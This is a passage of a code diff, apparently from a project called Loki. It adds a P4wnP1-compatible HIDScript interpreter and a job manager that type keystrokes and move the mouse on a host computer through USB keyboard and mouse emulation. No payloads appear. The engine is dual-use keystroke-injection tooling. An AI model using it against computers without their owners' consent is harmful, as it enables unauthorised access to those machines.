mask=LED_ANY matches any LED change.
|
||||
Returns True if matched, False if stopped/timed out.
|
||||
"""
|
||||
start = time.monotonic()
|
||||
initial = self.read_led_state()
|
||||
while True:
|
||||
if stop_event and stop_event.is_set():
|
||||
return False
|
||||
if timeout > 0 and (time.monotonic() - start) > timeout:
|
||||
return False
|
||||
current = self.read_led_state()
|
||||
if mask == LED_ANY:
|
||||
if current != initial:
|
||||
return True
|
||||
else:
|
||||
if current & mask:
|
||||
return True
|
||||
time.sleep(0.05)
|
||||
|
||||
def wait_led_repeat(self, mask: int, count: int, stop_event: Event = None):
|
||||
"""Wait for LED to toggle count times."""
|
||||
for _ in range(count):
|
||||
if not self.wait_led(mask, stop_event):
|
||||
return False
|
||||
return True
|
||||
|
||||
# ── Mouse Reports ──────────────────────────────────────────
|
||||
# P4wnP1 mouse descriptor uses Report ID 1 for relative mode.
|
||||
# Report format: [0x01, buttons, X, Y, 0x00, 0x00] = 6 bytes
|
||||
|
||||
def send_mouse_report(self, buttons: int, x: int, y: int, wheel: int = 0):
|
||||
"""Send a 6-byte relative mouse report with Report ID 1.
|
||||
|
||||
Format: [report_id=1, buttons, X, Y, pad, pad]
|
||||
"""
|
||||
if self._mouse_fd is None:
|
||||
return
|
||||
# Clamp to signed byte range
|
||||
x = max(-127, min(127, x))
|
||||
y = max(-127, min(127, y))
|
||||
report = struct.pack("BBbbBB", 0x01, buttons & 0xFF, x, y, 0, 0)
|
||||
os.write(self._mouse_fd, report)
|
||||
|
||||
def mouse_move(self, x: int, y: int):
|
||||
"""Move mouse by (x, y) relative pixels."""
|
||||
self.send_mouse_report(0, x, y)
|
||||
|
||||
def mouse_move_stepped(self, x: int, y: int, step: int = 10):
|
||||
"""Move mouse in small increments for better tracking."""
|
||||
while x != 0 or y != 0:
|
||||
dx = max(-step, min(step, x))
|
||||
dy = max(-step, min(step, y))
|
||||
self.send_mouse_report(0, dx, dy)
|
||||
x -= dx
|
||||
y -= dy
|
||||
time.sleep(0.005)
|
||||
|
||||
def mouse_click(self, button: int = 1):
|
||||
"""Click a mouse button (1=left, 2=right, 4=middle)."""
|
||||
self.send_mouse_report(button, 0, 0)
|
||||
time.sleep(0.05)
|
||||
self.send_mouse_report(0, 0, 0)
|
||||
|
||||
def mouse_double_click(self, button: int = 1):
|
||||
"""Double-click a mouse button."""
|
||||
self.mouse_click(button)
|
||||
time.sleep(0.05)
|
||||
self.mouse_click(button)
|
||||
748
loki/hidscript.py
Normal file
748
loki/hidscript.py
Normal file
@@ -0,0 +1,748 @@
|
||||
"""
|
||||
HIDScript parser and executor for Loki.
|
||||
|
||||
Supports P4wnP1-compatible HIDScript syntax:
|
||||
- Function calls: type("hello"); press("GUI r"); delay(500);
|
||||
- var declarations: var x = 1;
|
||||
- for / while loops
|
||||
- if / else conditionals
|
||||
- // and /* */ comments
|
||||
- String concatenation with +
|
||||
- Basic arithmetic (+, -, *, /)
|
||||
- console.log() for job output
|
||||
|
||||
Zero external dependencies — pure Python DSL parser.
|
||||
"""
|
||||
import re
|
||||
import time
|
||||
import logging
|
||||
from threading import Event
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="loki.hidscript", level=logging.DEBUG)
|
||||
|
||||
# ── LED constants (available in scripts) ──────────────────────
|
||||
NUM = 0x01
|
||||
CAPS = 0x02
|
||||
SCROLL = 0x04
|
||||
ANY = 0xFF
|
||||
|
||||
# ── Mouse button constants ────────────────────────────────────
|
||||
BT1 = 1 # Left
|
||||
BT2 = 2 # Right
|
||||
BT3 = 4 # Middle
|
||||
BTNONE = 0
|
||||
|
||||
|
||||
class HIDScriptError(Exception):
|
||||
"""Error during HIDScript execution."""
|
||||
def __init__(self, message, line=None):
|
||||
self.line = line
|
||||
super().__init__(f"Line {line}: {message}" if line else message)
|
||||
|
||||
|
||||
class HIDScriptParser:
|
||||
"""Parse and execute P4wnP1-compatible HIDScript."""
|
||||
|
||||
def __init__(self, hid_controller, layout="us"):
|
||||
self.hid = hid_controller
|
||||
self._default_layout = layout
|
||||
self._output = [] # console.log output
|
||||
|
||||
def execute(self, source: str, stop_event: Event = None, job_id: str = ""):
|
||||
"""Parse and execute a HIDScript source string.
|
||||
|
||||
Returns list of console.log output lines.
|
||||
"""
|
||||
self._output = []
|
||||
self._stop = stop_event or Event()
|
||||
self._vars = {
|
||||
# Built-in constants
|
||||
"NUM": NUM, "CAPS": CAPS, "SCROLL": SCROLL, "ANY": ANY,
|
||||
"BT1": BT1, "BT2": BT2, "BT3": BT3, "BTNONE": BTNONE,
|
||||
"true": True, "false": False, "null": None,
|
||||
}
|
||||
|
||||
# Strip comments
|
||||
source = self._strip_comments(source)
|
||||
# Tokenize into statements
|
||||
stmts = self._parse_block(source)
|
||||
# Execute
|
||||
self._exec_stmts(stmts)
|
||||
|
||||
return self._output
|
||||
|
||||
# ── Comment stripping ──────────────────────────────────────
|
||||
|
||||
def _strip_comments(self, source: str) -> str:
|
||||
"""Remove // and /* */ comments."""
|
||||
# Block comments first
|
||||
source = re.sub(r'/\*.*?\*/', '', source, flags=re.DOTALL)
|
||||
# Line comments
|
||||
source = re.sub(r'//[^\n]*', '', source)
|
||||
return source
|
||||
|
||||
# ── Parser ─────────────────────────────────────────────────
|
||||
|
||||
def _parse_block(self, source: str) -> list:
|
||||
"""Parse source into a list of statement dicts."""
|
||||
stmts = []
|
||||
pos = 0
|
||||
source = source.strip()
|
||||
|
||||
while pos < len(source):
|
||||
if self._stop.is_set():
|
||||
break
|
||||
pos = self._skip_ws(source, pos)
|
||||
if pos >= len(source):
|
||||
break
|
||||
|
||||
# var declaration
|
||||
if source[pos:pos+4] == 'var ' or source[pos:pos+4] == 'let ':
|
||||
end = source.find(';', pos)
|
||||
if end == -1:
|
||||
end = len(source)
|
||||
decl = source[pos+4:end].strip()
|
||||
eq = decl.find('=')
|
||||
if eq >= 0:
|
||||
name = decl[:eq].strip()
|
||||
value_expr = decl[eq+1:].strip()
|
||||
stmts.append({"type": "assign", "name": name, "expr": value_expr})
|
||||
else:
|
||||
stmts.append({"type": "assign", "name": decl.strip(), "expr": "null"})
|
||||
pos = end + 1
|
||||
|
||||
# for loop
|
||||
elif source[pos:pos+4] == 'for ' or source[pos:pos+4] == 'for(':
|
||||
stmt, pos = self._parse_for(source, pos)
|
||||
stmts.append(stmt)
|
||||
|
||||
# while loop
|
||||
elif source[pos:pos+6] == 'while ' or source[pos:pos+6] == 'while(':
|
||||
stmt, pos = self._parse_while(source, pos)
|
||||
stmts.append(stmt)
|
||||
|
||||
# if statement
|
||||
elif source[pos:pos+3] == 'if ' or source[pos:pos+3] == 'if(':
|
||||
stmt, pos = self._parse_if(source, pos)
|
||||
stmts.append(stmt)
|
||||
|
||||
# Block: { ... }
|
||||
elif source[pos] == '{':
|
||||
end = self._find_matching_brace(source, pos)
|
||||
inner = source[pos+1:end]
|
||||
stmts.extend(self._parse_block(inner))
|
||||
pos = end + 1
|
||||
|
||||
# Expression statement (function call or assignment)
|
||||
else:
|
||||
end = source.find(';', pos)
|
||||
if end == -1:
|
||||
end = len(source)
|
||||
expr = source[pos:end].strip()
|
||||
if expr:
|
||||
# Check for assignment: name = expr
|
||||
m = re.match(r'^([a-zA-Z_]\w*)\s*=\s*(.+)$', expr)
|
||||
if m and not expr.startswith('=='):
|
||||
stmts.append({"type": "assign", "name": m.group(1), "expr": m.group(2)})
|
||||
else:
|
||||
stmts.append({"type": "expr", "expr": expr})
|
||||
pos = end + 1
|
||||
|
||||
return stmts
|
||||
|
||||
def _parse_for(self, source, pos):
|
||||
"""Parse: for (init; cond; incr) { body }"""
|
||||
# Find parenthesized header
|
||||
p_start = source.index('(', pos)
|
||||
p_end = self._find_matching_paren(source, p_start)
|
||||
header = source[p_start+1:p_end]
|
||||
|
||||
parts = header.split(';')
|
||||
if len(parts) != 3:
|
||||
raise HIDScriptError("Invalid for loop header")
|
||||
init_expr = parts[0].strip()
|
||||
cond_expr = parts[1].strip()
|
||||
incr_expr = parts[2].strip()
|
||||
|
||||
# Remove var/let prefix from init
|
||||
for prefix in ('var ', 'let '):
|
||||
if init_expr.startswith(prefix):
|
||||
init_expr = init_expr[len(prefix):]
|
||||
|
||||
# Find body
|
||||
body_start = self._skip_ws(source, p_end + 1)
|
||||
if body_start < len(source) and source[body_start] == '{':
|
||||
body_end = self._find_matching_brace(source, body_start)
|
||||
body = source[body_start+1:body_end]
|
||||
next_pos = body_end + 1
|
||||
else:
|
||||
semi = source.find(';', body_start)
|
||||
if semi == -1:
|
||||
semi = len(source)
|
||||
body = source[body_start:semi]
|
||||
next_pos = semi + 1
|
||||
|
||||
return {
|
||||
"type": "for",
|
||||
"init": init_expr,
|
||||
"cond": cond_expr,
|
||||
"incr": incr_expr,
|
||||
"body": body,
|
||||
}, next_pos
|
||||
|
||||
def _parse_while(self, source, pos):
|
||||
"""Parse: while (cond) { body }"""
|
||||
p_start = source.index('(', pos)
|
||||
p_end = self._find_matching_paren(source, p_start)
|
||||
cond = source[p_start+1:p_end].strip()
|
||||
|
||||
body_start = self._skip_ws(source, p_end + 1)
|
||||
if body_start < len(source) and source[body_start] == '{':
|
||||
body_end = self._find_matching_brace(source, body_start)
|
||||
body = source[body_start+1:body_end]
|
||||
next_pos = body_end + 1
|
||||
else:
|
||||
semi = source.find(';', body_start)
|
||||
if semi == -1:
|
||||
semi = len(source)
|
||||
body = source[body_start:semi]
|
||||
next_pos = semi + 1
|
||||
|
||||
return {"type": "while", "cond": cond, "body": body}, next_pos
|
||||
|
||||
def _parse_if(self, source, pos):
|
||||
"""Parse: if (cond) { body } [else { body }]"""
|
||||
p_start = source.index('(', pos)
|
||||
p_end = self._find_matching_paren(source, p_start)
|
||||
cond = source[p_start+1:p_end].strip()
|
||||
|
||||
body_start = self._skip_ws(source, p_end + 1)
|
||||
if body_start < len(source) and source[body_start] == '{':
|
||||
body_end = self._find_matching_brace(source, body_start)
|
||||
body = source[body_start+1:body_end]
|
||||
next_pos = body_end + 1
|
||||
else:
|
||||
semi = source.find(';', body_start)
|
||||
if semi == -1:
|
||||
semi = len(source)
|
||||
body = source[body_start:semi]
|
||||
next_pos = semi + 1
|
||||
|
||||
# Check for else
|
||||
else_body = None
|
||||
check = self._skip_ws(source, next_pos)
|
||||
if source[check:check+4] == 'else':
|
||||
after_else = self._skip_ws(source, check + 4)
|
||||
if after_else < len(source) and source[after_else] == '{':
|
||||
eb_end = self._find_matching_brace(source, after_else)
|
||||
else_body = source[after_else+1:eb_end]
|
||||
next_pos = eb_end + 1
|
||||
elif source[after_else:after_else+2] == 'if':
|
||||
# else if — parse recursively
|
||||
inner_if, next_pos = self._parse_if(source, after_else)
|
||||
else_body = inner_if # will be a dict, handle in exec
|
||||
else:
|
||||
semi = source.find(';', after_else)
|
||||
if semi == -1:
|
||||
semi = len(source)
|
||||
else_body = source[after_else:semi]
|
||||
next_pos = semi + 1
|
||||
|
||||
return {"type": "if", "cond": cond, "body": body, "else": else_body}, next_pos
|
||||
|
||||
# ── Executor ───────────────────────────────────────────────
|
||||
|
||||
def _exec_stmts(self, stmts: list):
|
||||
"""Execute a list of parsed statements."""
|
||||
for stmt in stmts:
|
||||
if self._stop.is_set():
|
||||
return
|
||||
stype = stmt["type"]
|
||||
|
||||
if stype == "assign":
|
||||
self._vars[stmt["name"]] = self._eval_expr(stmt["expr"])
|
||||
|
||||
elif stype == "expr":
|
||||
self._eval_expr(stmt["expr"])
|
||||
|
||||
elif stype == "for":
|
||||
self._exec_for(stmt)
|
||||
|
||||
elif stype == "while":
|
||||
self._exec_while(stmt)
|
||||
|
||||
elif stype == "if":
|
||||
self._exec_if(stmt)
|
||||
|
||||
def _exec_for(self, stmt):
|
||||
"""Execute a for loop."""
|
||||
# Parse init as assignment
|
||||
init = stmt["init"]
|
||||
eq = init.find('=')
|
||||
if eq >= 0:
|
||||
name = init[:eq].strip()
|
||||
self._vars[name] = self._eval_expr(init[eq+1:].strip())
|
||||
|
||||
max_iterations = 100000
|
||||
i = 0
|
||||
while i < max_iterations:
|
||||
if self._stop.is_set():
|
||||
return
|
||||
if not self._eval_expr(stmt["cond"]):
|
||||
break
|
||||
self._exec_stmts(self._parse_block(stmt["body"]))
|
||||
# Execute increment
|
||||
incr = stmt["incr"]
|
||||
if "++" in incr:
|
||||
var_name = incr.replace("++", "").strip()
|
||||
self._vars[var_name] = self._vars.get(var_name, 0) + 1
|
||||
elif "--" in incr:
|
||||
var_name = incr.replace("--", "").strip()
|
||||
self._vars[var_name] = self._vars.get(var_name, 0) - 1
|
||||
else:
|
||||
eq = incr.find('=')
|
||||
if eq >= 0:
|
||||
name = incr[:eq].strip()
|
||||
self._vars[name] = self._eval_expr(incr[eq+1:].strip())
|
||||
i += 1
|
||||
|
||||
def _exec_while(self, stmt):
|
||||
"""Execute a while loop."""
|
||||
max_iterations = 1000000
|
||||
i = 0
|
||||
while i < max_iterations:
|
||||
if self._stop.is_set():
|
||||
return
|
||||
if not self._eval_expr(stmt["cond"]):
|
||||
break
|
||||
self._exec_stmts(self._parse_block(stmt["body"]))
|
||||
i += 1
|
||||
|
||||
def _exec_if(self, stmt):
|
||||
"""Execute an if/else statement."""
|
||||
if self._eval_expr(stmt["cond"]):
|
||||
self._exec_stmts(self._parse_block(stmt["body"]))
|
||||
elif stmt.get("else"):
|
||||
else_part = stmt["else"]
|
||||
if isinstance(else_part, dict):
|
||||
# else if
|
||||
self._exec_if(else_part)
|
||||
else:
|
||||
self._exec_stmts(self._parse_block(else_part))
|
||||
|
||||
# ── Expression Evaluator ───────────────────────────────────
|
||||
|
||||
def _eval_expr(self, expr):
|
||||
"""Evaluate an expression string and return its value."""
|
||||
if isinstance(expr, (int, float, bool)):
|
||||
return expr
|
||||
if not isinstance(expr, str):
|
||||
return expr
|
||||
|
||||
expr = expr.strip()
|
||||
if not expr:
|
||||
return None
|
||||
|
||||
# String literal
|
||||
if (expr.startswith('"') and expr.endswith('"')) or \
|
||||
(expr.startswith("'") and expr.endswith("'")):
|
||||
return self._unescape(expr[1:-1])
|
||||
|
||||
# Numeric literal
|
||||
try:
|
||||
if '.' in expr:
|
||||
return float(expr)
|
||||
return int(expr)
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
# Boolean / null
|
||||
if expr == 'true':
|
||||
return True
|
||||
if expr == 'false':
|
||||
return False
|
||||
if expr == 'null':
|
||||
return None
|
||||
|
||||
# String concatenation with +
|
||||
if self._has_top_level_op(expr, '+') and self._contains_string(expr):
|
||||
parts = self._split_top_level(expr, '+')
|
||||
result = ""
|
||||
for p in parts:
|
||||
val = self._eval_expr(p.strip())
|
||||
result += str(val) if val is not None else ""
|
||||
return result
|
||||
|
||||
# Comparison operators
|
||||
for op in ['===', '!==', '==', '!=', '>=', '<=', '>', '<']:
|
||||
if self._has_top_level_op(expr, op):
|
||||
parts = self._split_top_level(expr, op, max_splits=1)
|
||||
if len(parts) == 2:
|
||||
left = self._eval_expr(parts[0].strip())
|
||||
right = self._eval_expr(parts[1].strip())
|
||||
if op in ('==', '==='):
|
||||
return left == right
|
||||
elif op in ('!=', '!=='):
|
||||
return left != right
|
||||
elif op == '>':
|
||||
return left > right
|
||||
elif op == '<':
|
||||
return left < right
|
||||
elif op == '>=':
|
||||
return left >= right
|
||||
elif op == '<=':
|
||||
return left <= right
|
||||
|
||||
# Logical operators
|
||||
if self._has_top_level_op(expr, '&&'):
|
||||
parts = self._split_top_level(expr, '&&', max_splits=1)
|
||||
return self._eval_expr(parts[0]) and self._eval_expr(parts[1])
|
||||
if self._has_top_level_op(expr, '||'):
|
||||
parts = self._split_top_level(expr, '||', max_splits=1)
|
||||
return self._eval_expr(parts[0]) or self._eval_expr(parts[1])
|
||||
|
||||
# Arithmetic
|
||||
for op in ['+', '-']:
|
||||
if self._has_top_level_op(expr, op) and not self._contains_string(expr):
|
||||
parts = self._split_top_level(expr, op)
|
||||
result = self._eval_expr(parts[0].strip())
|
||||
for p in parts[1:]:
|
||||
val = self._eval_expr(p.strip())
|
||||
if op == '+':
|
||||
result = (result or 0) + (val or 0)
|
||||
else:
|
||||
result = (result or 0) - (val or 0)
|
||||
return result
|
||||
|
||||
for op in ['*', '/']:
|
||||
if self._has_top_level_op(expr, op):
|
||||
parts = self._split_top_level(expr, op)
|
||||
result = self._eval_expr(parts[0].strip())
|
||||
for p in parts[1:]:
|
||||
val = self._eval_expr(p.strip())
|
||||
if op == '*':
|
||||
result = (result or 0) * (val or 0)
|
||||
else:
|
||||
result = (result or 0) / (val or 1)
|
||||
return result
|
||||
|
||||
# Modulo
|
||||
if self._has_top_level_op(expr, '%'):
|
||||
parts = self._split_top_level(expr, '%')
|
||||
result = self._eval_expr(parts[0].strip())
|
||||
for p in parts[1:]:
|
||||
val = self._eval_expr(p.strip())
|
||||
result = (result or 0) % (val or 1)
|
||||
return result
|
||||
|
||||
# Negation
|
||||
if expr.startswith('!'):
|
||||
return not self._eval_expr(expr[1:])
|
||||
|
||||
# Parenthesized expression
|
||||
if expr.startswith('(') and self._find_matching_paren(expr, 0) == len(expr) - 1:
|
||||
return self._eval_expr(expr[1:-1])
|
||||
|
||||
# Function call
|
||||
m = re.match(r'^([a-zA-Z_][\w.]*)\s*\(', expr)
|
||||
if m:
|
||||
func_name = m.group(1)
|
||||
p_start = expr.index('(')
|
||||
p_end = self._find_matching_paren(expr, p_start)
|
||||
args_str = expr[p_start+1:p_end]
|
||||
args = self._parse_args(args_str)
|
||||
return self._call_func(func_name, args)
|
||||
|
||||
# Variable reference
|
||||
if re.match(r'^[a-zA-Z_]\w*$', expr):
|
||||
return self._vars.get(expr, 0)
|
||||
|
||||
# Increment/decrement as expression
|
||||
if expr.endswith('++'):
|
||||
name = expr[:-2].strip()
|
||||
val = self._vars.get(name, 0)
|
||||
self._vars[name] = val + 1
|
||||
return val
|
||||
if expr.endswith('--'):
|
||||
name = expr[:-2].strip()
|
||||
val = self._vars.get(name, 0)
|
||||
self._vars[name] = val - 1
|
||||
return val
|
||||
|
||||
logger.warning("Cannot evaluate expression: %r", expr)
|
||||
return 0
|
||||
|
||||
# ── Built-in Functions ─────────────────────────────────────
|
||||
|
||||
def _call_func(self, name: str, args: list):
|
||||
"""Dispatch a built-in function call."""
|
||||
# Evaluate all arguments
|
||||
evaled = [self._eval_expr(a) for a in args]
|
||||
|
||||
if name == "type":
|
||||
text = str(evaled[0]) if evaled else ""
|
||||
self.hid.type_string(text, stop_event=self._stop)
|
||||
|
||||
elif name == "press":
|
||||
combo = str(evaled[0]) if evaled else ""
|
||||
self.hid.press_combo(combo)
|
||||
|
||||
elif name == "delay":
|
||||
ms = int(evaled[0]) if evaled else 0
|
||||
if ms > 0:
|
||||
self._stop.wait(ms / 1000.0)
|
||||
|
||||
elif name == "layout":
|
||||
name_val = str(evaled[0]) if evaled else self._default_layout
|
||||
self.hid.set_layout(name_val)
|
||||
|
||||
elif name == "typingSpeed":
|
||||
min_ms = int(evaled[0]) if len(evaled) > 0 else 0
|
||||
max_ms = int(evaled[1]) if len(evaled) > 1 else min_ms
|
||||
self.hid.set_typing_speed(min_ms, max_ms)
|
||||
|
||||
elif name == "move":
|
||||
x = int(evaled[0]) if len(evaled) > 0 else 0
|
||||
y = int(evaled[1]) if len(evaled) > 1 else 0
|
||||
self.hid.mouse_move(x, y)
|
||||
|
||||
elif name == "moveTo":
|
||||
x = int(evaled[0]) if len(evaled) > 0 else 0
|
||||
y = int(evaled[1]) if len(evaled) > 1 else 0
|
||||
self.hid.mouse_move_stepped(x, y, step=5)
|
||||
|
||||
elif name == "moveStepped":
|
||||
x = int(evaled[0]) if len(evaled) > 0 else 0
|
||||
y = int(evaled[1]) if len(evaled) > 1 else 0
|
||||
step = int(evaled[2]) if len(evaled) > 2 else 10
|
||||
self.hid.mouse_move_stepped(x, y, step=step)
|
||||
|
||||
elif name == "click":
|
||||
btn = int(evaled[0]) if evaled else BT1
|
||||
self.hid.mouse_click(btn)
|
||||
|
||||
elif name == "doubleClick":
|
||||
btn = int(evaled[0]) if evaled else BT1
|
||||
self.hid.mouse_double_click(btn)
|
||||
|
||||
elif name == "button":
|
||||
mask = int(evaled[0]) if evaled else 0
|
||||
self.hid.send_mouse_report(mask, 0, 0)
|
||||
|
||||
elif name == "waitLED":
|
||||
mask = int(evaled[0]) if evaled else ANY
|
||||
timeout = float(evaled[1]) / 1000 if len(evaled) > 1 else 0
|
||||
return self.hid.wait_led(mask, self._stop, timeout)
|
||||
|
||||
elif name == "waitLEDRepeat":
|
||||
mask = int(evaled[0]) if evaled else ANY
|
||||
count = int(evaled[1]) if len(evaled) > 1 else 1
|
||||
return self.hid.wait_led_repeat(mask, count, self._stop)
|
||||
|
||||
elif name == "console.log" or name == "log":
|
||||
msg = " ".join(str(a) for a in evaled)
|
||||
self._output.append(msg)
|
||||
logger.debug("[HIDScript] %s", msg)
|
||||
|
||||
elif name in ("parseInt", "Number"):
|
||||
try:
|
||||
return int(float(evaled[0])) if evaled else 0
|
||||
except (ValueError, TypeError):
|
||||
return 0
|
||||
|
||||
elif name == "String":
|
||||
return str(evaled[0]) if evaled else ""
|
||||
|
||||
elif name == "Math.random":
|
||||
import random
|
||||
return random.random()
|
||||
|
||||
elif name == "Math.floor":
|
||||
import math
|
||||
return math.floor(evaled[0]) if evaled else 0
|
||||
|
||||
else:
|
||||
logger.warning("Unknown function: %s", name)
|
||||
return None
|
||||
|
||||
return None
|
||||
|
||||
# ── Helpers ────────────────────────────────────────────────
|
||||
|
||||
def _parse_args(self, args_str: str) -> list:
|
||||
"""Split function arguments respecting string literals and parens."""
|
||||
args = []
|
||||
depth = 0
|
||||
current = ""
|
||||
in_str = None
|
||||
|
||||
for ch in args_str:
|
||||
if in_str:
|
||||
current += ch
|
||||
if ch == in_str and (len(current) < 2 or current[-2] != '\\'):
|
||||
in_str = None
|
||||
elif ch in ('"', "'"):
|
||||
in_str = ch
|
||||
current += ch
|
||||
elif ch == '(':
|
||||
depth += 1
|
||||
current += ch
|
||||
elif ch == ')':
|
||||
depth -= 1
|
||||
current += ch
|
||||
elif ch == ',' and depth == 0:
|
||||
if current.strip():
|
||||
args.append(current.strip())
|
||||
current = ""
|
||||
else:
|
||||
current += ch
|
||||
|
||||
if current.strip():
|
||||
args.append(current.strip())
|
||||
return args
|
||||
|
||||
def _unescape(self, s: str) -> str:
|
||||
"""Process escape sequences in a string."""
|
||||
return s.replace('\\n', '\n').replace('\\t', '\t').replace('\\r', '\r') \
|
||||
.replace('\\"', '"').replace("\\'", "'").replace('\\\\', '\\')
|
||||
|
||||
def _skip_ws(self, source: str, pos: int) -> int:
|
||||
"""Skip whitespace."""
|
||||
while pos < len(source) and source[pos] in ' \t\n\r':
|
||||
pos += 1
|
||||
return pos
|
||||
|
||||
def _find_matching_brace(self, source: str, pos: int) -> int:
|
||||
"""Find matching } for { at pos."""
|
||||
depth = 1
|
||||
i = pos + 1
|
||||
in_str = None
|
||||
while i < len(source):
|
||||
ch = source[i]
|
||||
if in_str:
|
||||
if ch == in_str and source[i-1] != '\\':
|
||||
in_str = None
|
||||
elif ch in ('"', "'"):
|
||||
in_str = ch
|
||||
elif ch == '{':
|
||||
depth += 1
|
||||
elif ch == '}':
|
||||
depth -= 1
|
||||
if depth == 0:
|
||||
return i
|
||||
i += 1
|
||||
return len(source) - 1
|
||||
|
||||
def _find_matching_paren(self, source: str, pos: int) -> int:
|
||||
"""Find matching ) for ( at pos."""
|
||||
depth = 1
|
||||
i = pos + 1
|
||||
in_str = None
|
||||
while i < len(source):
|
||||
ch = source[i]
|
||||
if in_str:
|
||||
if ch == in_str and source[i-1] != '\\':
|
||||
in_str = None
|
||||
elif ch in ('"', "'"):
|
||||
in_str = ch
|
||||
elif ch == '(':
|
||||
depth += 1
|
||||
elif ch == ')':
|
||||
depth -= 1
|
||||
if depth == 0:
|
||||
return i
|
||||
i += 1
|
||||
return len(source) - 1
|
||||
|
||||
def _has_top_level_op(self, expr: str, op: str) -> bool:
|
||||
"""Check if operator exists at top level (not inside parens/strings)."""
|
||||
depth = 0
|
||||
in_str = None
|
||||
i = 0
|
||||
while i < len(expr):
|
||||
ch = expr[i]
|
||||
if in_str:
|
||||
if ch == in_str and (i == 0 or expr[i-1] != '\\'):
|
||||
in_str = None
|
||||
elif ch in ('"', "'"):
|
||||
in_str = ch
|
||||
elif ch == '(':
|
||||
depth += 1
|
||||
elif ch == ')':
|
||||
depth -= 1
|
||||
elif depth == 0 and expr[i:i+len(op)] == op:
|
||||
# Don't match multi-char ops that are substrings of longer ones
|
||||
if len(op) == 1 and op in '+-':
|
||||
# Skip if part of ++ or --
|
||||
if i + 1 < len(expr) and expr[i+1] == op:
|
||||
i += 2
|
||||
continue
|
||||
if i > 0 and expr[i-1] == op:
|
||||
i += 1
|
||||
continue
|
||||
return True
|
||||
i += 1
|
||||
return False
|
||||
|
||||
def _split_top_level(self, expr: str, op: str, max_splits: int = -1) -> list:
|
||||
"""Split expression by operator at top level only."""
|
||||
parts = []
|
||||
depth = 0
|
||||
in_str = None
|
||||
current = ""
|
||||
i = 0
|
||||
splits = 0
|
||||
|
||||
while i < len(expr):
|
||||
ch = expr[i]
|
||||
if in_str:
|
||||
current += ch
|
||||
if ch == in_str and (i == 0 or expr[i-1] != '\\'):
|
||||
in_str = None
|
||||
elif ch in ('"', "'"):
|
||||
in_str = ch
|
||||
current += ch
|
||||
elif ch == '(':
|
||||
depth += 1
|
||||
current += ch
|
||||
elif ch == ')':
|
||||
depth -= 1
|
||||
current += ch
|
||||
elif depth == 0 and expr[i:i+len(op)] == op and (max_splits < 0 or splits < max_splits):
|
||||
# Don't split on ++ or -- when looking for + or -
|
||||
if len(op) == 1 and op in '+-':
|
||||
if i + 1 < len(expr) and expr[i+1] == op:
|
||||
current += ch
|
||||
i += 1
|
||||
current += expr[i]
|
||||
i += 1
|
||||
continue
|
||||
parts.append(current)
|
||||
current = ""
|
||||
i += len(op)
|
||||
splits += 1
|
||||
continue
|
||||
else:
|
||||
current += ch
|
||||
i += 1
|
||||
|
||||
parts.append(current)
|
||||
return parts
|
||||
|
||||
def _contains_string(self, expr: str) -> bool:
|
||||
"""Check if expression contains a string literal at top level."""
|
||||
depth = 0
|
||||
in_str = None
|
||||
for ch in expr:
|
||||
if in_str:
|
||||
if ch == in_str:
|
||||
return True # Found complete string
|
||||
elif ch in ('"', "'"):
|
||||
in_str = ch
|
||||
elif ch == '(':
|
||||
depth += 1
|
||||
elif ch == ')':
|
||||
depth -= 1
|
||||
return False
|
||||
162
loki/jobs.py
Normal file
162
loki/jobs.py
Normal file
@@ -0,0 +1,162 @@
|
||||
"""
|
||||
Loki job manager — tracks HIDScript execution jobs.
|
||||
Each job runs in its own daemon thread.
|
||||
"""
|
||||
import uuid
|
||||
import time
|
||||
import logging
|
||||
import traceback
|
||||
from datetime import datetime
|
||||
from threading import Thread, Event
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="loki.jobs", level=logging.DEBUG)
|
||||
|
||||
|
||||
class LokiJobManager:
|
||||
"""Manages HIDScript job lifecycle."""
|
||||
|
||||
def __init__(self, engine):
|
||||
self.engine = engine
|
||||
self._jobs = {} # job_id → job dict
|
||||
self._threads = {} # job_id → Thread
|
||||
self._stops = {} # job_id → Event
|
||||
|
||||
def create_job(self, script_name: str, script_content: str) -> str:
|
||||
"""Create and start a new job. Returns job_id (UUID)."""
|
||||
job_id = str(uuid.uuid4())[:8]
|
||||
now = datetime.now().isoformat()
|
||||
|
||||
job = {
|
||||
"id": job_id,
|
||||
"script_name": script_name,
|
||||
"status": "pending",
|
||||
"output": "",
|
||||
"error": "",
|
||||
"started_at": None,
|
||||
"finished_at": None,
|
||||
"created_at": now,
|
||||
}
|
||||
self._jobs[job_id] = job
|
||||
stop = Event()
|
||||
self._stops[job_id] = stop
|
||||
|
||||
# Persist to DB
|
||||
try:
|
||||
db = self.engine.shared_data.db
|
||||
db.execute(
|
||||
"INSERT INTO loki_jobs (id, script_name, status, created_at) VALUES (?, ?, ?, ?)",
|
||||
(job_id, script_name, "pending", now)
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error("DB insert job error: %s", e)
|
||||
|
||||
# Start execution thread
|
||||
t = Thread(
|
||||
target=self._run_job,
|
||||
args=(job_id, script_content, stop),
|
||||
daemon=True,
|
||||
name=f"loki-job-{job_id}",
|
||||
)
|
||||
self._threads[job_id] = t
|
||||
t.start()
|
||||
|
||||
logger.info("Job %s created: %s", job_id, script_name)
|
||||
return job_id
|
||||
|
||||
def cancel_job(self, job_id: str) -> bool:
|
||||
"""Cancel a running job."""
|
||||
stop = self._stops.get(job_id)
|
||||
if stop:
|
||||
stop.set()
|
||||
job = self._jobs.get(job_id)
|
||||
if job and job["status"] == "running":
|
||||
job["status"] = "cancelled"
|
||||
job["finished_at"] = datetime.now().isoformat()
|
||||
self._update_db(job_id, "cancelled", job.get("output", ""), "Cancelled by user")
|
||||
logger.info("Job %s cancelled", job_id)
|
||||
return True
|
||||
return False
|
||||
|
||||
def get_all_jobs(self) -> list:
|
||||
"""Return list of all jobs (most recent first)."""
|
||||
jobs = list(self._jobs.values())
|
||||
jobs.sort(key=lambda j: j.get("created_at", ""), reverse=True)
|
||||
return jobs
|
||||
|
||||
def get_job(self, job_id: str) -> dict:
|
||||
"""Get a single job by ID."""
|
||||
return self._jobs.get(job_id)
|
||||
|
||||
def clear_completed(self):
|
||||
"""Remove finished/failed/cancelled jobs from memory."""
|
||||
to_remove = [
|
||||
jid for jid, j in self._jobs.items()
|
||||
if j["status"] in ("succeeded", "failed", "cancelled")
|
||||
]
|
||||
for jid in to_remove:
|
||||
self._jobs.pop(jid, None)
|
||||
self._threads.pop(jid, None)
|
||||
